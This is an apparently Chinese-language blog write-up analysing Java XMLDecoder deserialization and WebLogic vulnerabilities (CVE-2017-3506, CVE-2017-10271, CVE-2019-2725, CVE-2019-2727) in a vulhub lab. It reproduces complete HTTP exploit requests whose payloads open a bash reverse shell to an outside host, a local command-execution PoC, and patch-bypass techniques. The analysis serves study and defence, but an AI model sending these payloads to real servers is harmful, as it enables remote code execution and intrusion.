XMLEncoder&XMLDecoder

XMLDecoder/XMLEncoder 是在JDK1.4版中添加的 XML 格式序列化持久性方案,使用 XMLEncoder 来生成表示 JavaBeans 组件(bean)的 XML 文档,用 XMLDecoder 读取使用 XMLEncoder 创建的XML文档获取JavaBeans。

XMLEncoder

例子代码如下

package ghtwf01.demo;

import javax.swing.*;
import java.beans.XMLEncoder;
import java.io.BufferedOutputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;

public class XmlEncoder {
    public static void main(String[] args) throws FileNotFoundException {
        XMLEncoder e = new XMLEncoder(new BufferedOutputStream(new FileOutputStream("result.xml")));
        e.writeObject(new JButton("Hello,xml"));
        e.close();
    }
}

序列化了JButton类,得到的XML文档如下

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_181" class="java.beans.XMLDecoder">
 <object class="javax.swing.JButton">
  <string>Hello,xml</string>
 </object>
</java>

XMLDecoder

例子代码如下

package ghtwf01.demo;

import java.beans.XMLDecoder;
import java.io.*;

public class XmlEncoder {
    public static void main(String[] args) throws FileNotFoundException {
        XMLDecoder d = new XMLDecoder(new BufferedInputStream(new FileInputStream("result.xml")));
        Object result = d.readObject();
        System.out.println(result);
        d.close();
    }
}

使用 XMLDecoder 读取序列化的 XML 文档,获取 JButton 类并打印输出

javax.swing.JButton[,0,0,0x0,invalid,alignmentX=0.0,alignmentY=0.5,border=com.apple.laf.AquaButtonBorder$Dynamic@1a6c5a9e,flags=288,maximumSize=,minimumSize=,preferredSize=,defaultIcon=,disabledIcon=,disabledSelectedIcon=,margin=javax.swing.plaf.InsetsUIResource[top=0,left=2,bottom=0,right=2],paintBorder=true,paintFocus=true,pressedIcon=,rolloverEnabled=false,rolloverIcon=,rolloverSelectedIcon=,selectedIcon=,text=Hello,xml,defaultCapable=true]

XML标签、属性介绍

string标签

hello,xml字符串的表示方式为<string>Hello,xml</string>

object标签

通过 <object> 标签表示对象, class 属性指定具体类(用于调用其内部方法), method 属性指定具体方法名称(比如构造函数的的方法名为 new )

new JButton("Hello,xml") 对应的XML文档:

<object class="javax.swing.JButton" method="new">
    <string>Hello,xml</string>
</object>

void标签

通过 void 标签表示函数调用、赋值等操作, method 属性指定具体的方法名称。

JButton b = new JButton();b.setText("Hello, world"); 对应的XML文档:

<object class="javax.swing.JButton">
    <void method="setText">
    <string>Hello,xml</string>
    </void>
</object>

array标签

通过 array 标签表示数组, class 属性指定具体类,内部 void 标签的 index 属性表示根据指定数组索引赋值。
String[] s = new String[3];s[1] = "Hello,xml"; 对应的XML文档:

<array class="java.lang.String" length="3">
     <void index="1">
    <string>Hello,xml</string>
  </void>
</array>

XMLDecoder反序列化漏洞

下面来看一个解析xml导致反序列化命令执行的demo:

package ghtwf01.demo;

import java.beans.XMLDecoder;
import java.io.BufferedInputStream;
import java.io.FileInputStream;
import java.io.FileNotFoundException;

public class XmlDecoder {
    public static void main(String[] args) throws FileNotFoundException {
        XMLDecoder d = new XMLDecoder(new BufferedInputStream(new FileInputStream("/Users/ghtwf01/poc.xml")));
        Object result = d.readObject();
        d.close();
    }
}

poc.xml

<java version="1.4.0" class="java.beans.XMLDecoder">    <void class="java.lang.ProcessBuilder">        <array class="java.lang.String" length="3">            <void index="0">                <string>/bin/bash</string>            </void>            <void index="1">                <string>-c</string>            </void>            <void index="2">                <string>open -a Calculator</string>            </void>        </array>        <void method="start"/></void></java>

1.png

使用 java.lang.ProcessBuilder 进行代码执行,整个恶意 XML 反序列化后相当于执行代码:

String[] cmd = new String[3];cmd[0] = "/bin/bash";cmd[1] = "-c";cmd[2] = "open /System/Applications/Calculator.app/";new ProcessBuilder(cmd).start();

Weblogic-XMLDecoder漏洞复现

vulhub直接搭建环境,记得修改docker-compose.yml为如下

version: '2'services: weblogic:   image: vulhub/weblogic   ports:    - "7001:7001"    - "8453:8453"

exp如下

POST /wls-wsat/CoordinatorPortType HTTP/1.1Host: 192.168.50.145:7001Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Content-type: text/xmlConnection: closeContent-Length: 639<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java version="1.4.0" class="java.beans.XMLDecoder"><void class="java.lang.ProcessBuilder"><array class="java.lang.String" length="3"><void index="0"><string>/bin/bash</string></void><void index="1"><string>-c</string></void><void index="2"><string>bash -i &gt;&amp; /dev/tcp/192.168.50.145/4444 0&gt;&amp;1</string></void></array><void method="start"/></void></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>

这里要注意Content-type要设置为text/xml,不然会报415错误

2.png

Weblogic-XMLDecoder反序列化漏洞分析

远程调试

之前我们搭建环境的时候已经修改了 docker-compose.yml 文件,添加了远程调试端口 8453 映射

进入容器,配置Weblogic开启远程调试:

修改/root/Oracle/Middleware/user_projects/domains/base_domain/bin/setDomainEnv.sh,添加配置代码

debugFlag="true"export debugFlag

3.png

然后重启容器,再从dcoker里面从拷⻉Weblogic源码和JDK

docker cp 692394a45a38:/root ./weblogic

4.png

在 Middleware 目录下提取全部的 jar 、 war 包到 lib 目录

cd /Users/ghtwf01/Desktop/ghtwf01/vulhub/weblogic/CVE-2017-10271/weblogic/Oracle/Middlewaremkdir libfind ./ -name "*.jar" -exec cp {} ./lib/ \;find ./ -name "*.war" -exec cp {} ./lib/ \;

将Oracle/Middleware/wlserver_10.3 作为IDEA项目打开,设置JDK为拷⻉出来的,然后添加包含 lib 目录到项目的 Libraries

5.png

6.png

设置 DEBUG 模式为 Remote ,端口为与 docker 映射出去相同的 8453

7.png

现在就可以使用debug,如果控制台输出Connected to the target VM, address: '192.168.50.145:8453', transport: 'socket'则说明配置成功

CVE-2017-3506&CVE-2017-10271

影响范围

  • WebLogic 10.3.6.0
  • WebLogic 12.1.3.0
  • WebLogic 12.2.1.0
  • WebLogic 12.2.1.1
  • WebLogic 12.2.1.2

CVE-2017-3506CVE-2017-10271均是 XMLDecoder 反序列化漏洞,CVE-2017-3506修补方案为禁用 object 标签。

CVE-2017-10271是通过 voidnew 标签对CVE-2017-3506补丁的绕过。

这里以CVE-2017-10271为例进行漏洞分析

wls-wsat.war!/WEB-INF/web.xml

8.png

查看 web.xml ,可以发现存在漏洞的 wls-wsat 组件中包含不同的路由,均能触发漏洞

weblogic.wsee.jaxws.workcontext.WorkContextServerTube#processRequest

9.png

这里var1的值是我们传入的恶意xml文档,var2是数据中的headers,var3是从var2中获取WorkAreaConstants.WORK_AREA_HEADER得到的,然后将var3放入readHeaderOld函数中

weblogic.wsee.jaxws.workcontext.WorkContextTube#readHeaderOld

10.png

var4 的字节数组输入流传入 WorkContextXmlInputAdapter 的构造函数

weblogic.wsee.workarea.WorkContextXmlInputAdapter#WorkContextXmlInputAdapter

11.png

包含恶意 XML 的输入流作为参数传入 XMLDecoder 的构造函数,返回一个 WorkContextXmlInputAdapter 实例对象到上层的 var6 , var6 作为参数传入 receive 函数

weblogic.wsee.jaxws.workcontext.WorkContextServerTube#receive

12.png

继续跟进receiveRequest()函数

weblogic.workarea.WorkContextMapImpl#receiveRequest

13.png
被传递到 WorkContextLocalMap 类的 receiveRequest() 方法

weblogic.workarea.WorkContextLocalMap#receiveRequest

14.png

继续跟进readEntry()函数

weblogic.workarea.spi.WorkContextEntryImpl#readEntry

15.png

继续跟进readUTF()函数

16.png

调用了xmlDecoder的readObject函数进行反序列化操作,最终造成命令执行

整个调用栈如下

readUTF:111, WorkContextXmlInputAdapter (weblogic.wsee.workarea)readEntry:92, WorkContextEntryImpl (weblogic.workarea.spi)receiveRequest:179, WorkContextLocalMap (weblogic.workarea)receiveRequest:163, WorkContextMapImpl (weblogic.workarea)receive:71, WorkContextServerTube (weblogic.wsee.jaxws.workcontext)readHeaderOld:107, WorkContextTube (weblogic.wsee.jaxws.workcontext)processRequest:43, WorkContextServerTube (weblogic.wsee.jaxws.workcontext)__doRun:866, Fiber (com.sun.xml.ws.api.pipe)_doRun:815, Fiber (com.sun.xml.ws.api.pipe)doRun:778, Fiber (com.sun.xml.ws.api.pipe)runSync:680, Fiber (com.sun.xml.ws.api.pipe)process:403, WSEndpointImpl$2 (com.sun.xml.ws.server)handle:539, HttpAdapter$HttpToolkit (com.sun.xml.ws.transport.http)handle:253, HttpAdapter (com.sun.xml.ws.transport.http)handle:140, ServletAdapter (com.sun.xml.ws.transport.http.servlet)handle:171, WLSServletAdapter (weblogic.wsee.jaxws)run:708, HttpServletAdapter$AuthorizedInvoke (weblogic.wsee.jaxws)doAs:363, AuthenticatedSubject (weblogic.security.acl.internal)runAs:146, SecurityManager (weblogic.security.service)authenticatedInvoke:103, ServerSecurityHelper (weblogic.wsee.util)run:311, HttpServletAdapter$3 (weblogic.wsee.jaxws)post:336, HttpServletAdapter (weblogic.wsee.jaxws)doRequest:99, JAXWSServlet (weblogic.wsee.jaxws)service:99, AbstractAsyncServlet (weblogic.servlet.http)service:820, HttpServlet (javax.servlet.http)run:227, StubSecurityHelper$ServletServiceAction (weblogic.servlet.internal)invokeServlet:125, StubSecurityHelper (weblogic.servlet.internal)execute:301, ServletStubImpl (weblogic.servlet.internal)execute:184, ServletStubImpl (weblogic.servlet.internal)wrapRun:3732, WebAppServletContext$ServletInvocationAction (weblogic.servlet.internal)run:3696, WebAppServletContext$ServletInvocationAction (weblogic.servlet.internal)doAs:321, AuthenticatedSubject (weblogic.security.acl.internal)runAs:120, SecurityManager (weblogic.security.service)securedExecute:2273, WebAppServletContext (weblogic.servlet.internal)execute:2179, WebAppServletContext (weblogic.servlet.internal)run:1490, ServletRequestImpl (weblogic.servlet.internal)execute:256, ExecuteThread (weblogic.work)run:221, ExecuteThread (weblogic.work)

CVE-2017-3506补丁分析

这里补丁在WorkContextXmlInputAdapter中添加了validate验证,限制了object标签,从而限制通过XML来构造类

private void validate(InputStream is) {      WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();      try {         SAXParser parser = factory.newSAXParser();         parser.parse(is, new DefaultHandler() {            public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {               if(qName.equalsIgnoreCase("object")) {                  throw new IllegalStateException("Invalid context type: object");               }            }         });      } catch (ParserConfigurationException var5) {         throw new IllegalStateException("Parser Exception", var5);      } catch (SAXException var6) {         throw new IllegalStateException("Parser Exception", var6);      } catch (IOException var7) {         throw new IllegalStateException("Parser Exception", var7);      }   }

绕过方法很简单,将object修改成void,也就是最开始漏洞复现的exp

CVE-2017-10271补丁分析

private void validate(InputStream is) {   WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();   try {      SAXParser parser = factory.newSAXParser();      parser.parse(is, new DefaultHandler() {         private int overallarraylength = 0;         public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {            if(qName.equalsIgnoreCase("object")) {               throw new IllegalStateException("Invalid element qName:object");            } else if(qName.equalsIgnoreCase("new")) {               throw new IllegalStateException("Invalid element qName:new");            } else if(qName.equalsIgnoreCase("method")) {               throw new IllegalStateException("Invalid element qName:method");            } else {               if(qName.equalsIgnoreCase("void")) {                  for(int attClass = 0; attClass < attributes.getLength(); ++attClass) {                     if(!"index".equalsIgnoreCase(attributes.getQName(attClass))) {                        throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(attClass));                     }                  }               }               if(qName.equalsIgnoreCase("array")) {                  String var9 = attributes.getValue("class");                  if(var9 != null && !var9.equalsIgnoreCase("byte")) {                     throw new IllegalStateException("The value of class attribute is not valid for array element.");                  }

依然是进行黑名单判断

CVE-2019-2725

在CVE-2017-10271被修复的两年后出现了新漏洞,也就是CVE-2019-2725,由于组件_async存在反序列化

CVE-2019-2725 exp如下

POST /_async/AsyncResponseService HTTP/1.1Host: 192.168.50.145:7001Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Content-type: text/xmlConnection: closeContent-Length: 853<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"xmlns:asy="http://www.bea.com/async/AsyncResponseService"> <soapenv:Header><wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java version="1.4.0" class="java.beans.XMLDecoder"><void class="java.lang.ProcessBuilder"><array class="java.lang.String" length="3"><void index="0"><string>/bin/bash</string></void><void index="1"> <string>-c</string></void><void index="2"><string>bash -i &gt;&amp; /dev/tcp/192.168.50.145/4444 0&gt;&amp;1</string></void></array><void method="start"/> </void></java></work:WorkContext></soapenv:Header><soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>

17.png

CVE-2017-10271补丁绕过分析及利用方式

除了_async组件的反序列化还有如下补丁绕过方式,由于环境原因不能细致分析

使用class标签构造类,但是由于限制了method函数,无法进行函数调用,只能从构造方法下手,且参数为基本类型:

  • 构造函数有写文件操作,文件名和内容可控,可以进行getshell。
  • 构造函数有其他的反序列化操作,我们可以进行二次反序列化操作。
  • 构造函数直接有执行命令的操作,执行命令可控。
  • 有其它的可能导致rce的操作,比如表达式注入之类的。

目前存在的利用链有:

  • FileSystemXmlApplicationContext-RCE
  • UnitOfWorkChangeSet-RCE
  • ysoserial-jdk7u21-RCE
  • JtaTransactionManager-JNDI注入

CVE-2019-2727

CVE-2019-2725的补丁如下

private void validate(InputStream is) {WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory(); try {SAXParser parser = factory.newSAXParser(); parser.parse(is, new DefaultHandler() {private int overallarraylength = 0;         public void startElement(String uri, String localName, String qName,Attributes attributes) throws SAXException {if (qName.equalsIgnoreCase("object")) { throw new IllegalStateException("Invalid } else if (qName.equalsIgnoreCase("class")) throw new IllegalStateException("Invalid } else if (qName.equalsIgnoreCase("new")) { throw new IllegalStateException("Invalidelement qName:object"); {element qName:class");element qName:new"); } else if (qName.equalsIgnoreCase("method")) {throw new IllegalStateException("Invalid element qName:method"); } else {if (qName.equalsIgnoreCase("void")) {for(int i = 0; i < attributes.getLength(); ++i) {if (!"index".equalsIgnoreCase(attributes.getQName(i))) { throw new IllegalStateException("Invalid attribute forelement void:" + attributes.getQName(i)); }} }if (qName.equalsIgnoreCase("array")) {String attClass = attributes.getValue("class");if (attClass != null && !attClass.equalsIgnoreCase("byte")) {throw new IllegalStateException("The value of class attribute is not valid for array element.");}String lengthString = attributes.getValue("length"); if (lengthString != null) {try {int length = Integer.valueOf(lengthString); if (length >=WorkContextXmlInputAdapter.MAXARRAYLENGTH) {throw new IllegalStateException("Exceed array lengthlimitation");}this.overallarraylength += length; if (this.overallarraylength >=WorkContextXmlInputAdapter.OVERALLMAXARRAYLENGTH) {throw new IllegalStateException("Exceed over allarray limitation.");}                     } 

这里同样使用了黑名单禁用了class标签,使用 <array method =“forName"> 代替 class 标签即可

exp就是上面cve-2019-2725的exp

参考文档

https://www.kingkk.com/2019/05/Weblogic-XMLDecoder%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%A6%E4%B9%A0/

https://0day.design/2020/02/11/WebLogic-XMLDecoder%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%88%86%E6%9E%90/

https://xz.aliyun.com/t/5046

https://xz.aliyun.com/t/1848

https://www.anquanke.com/post/id/180725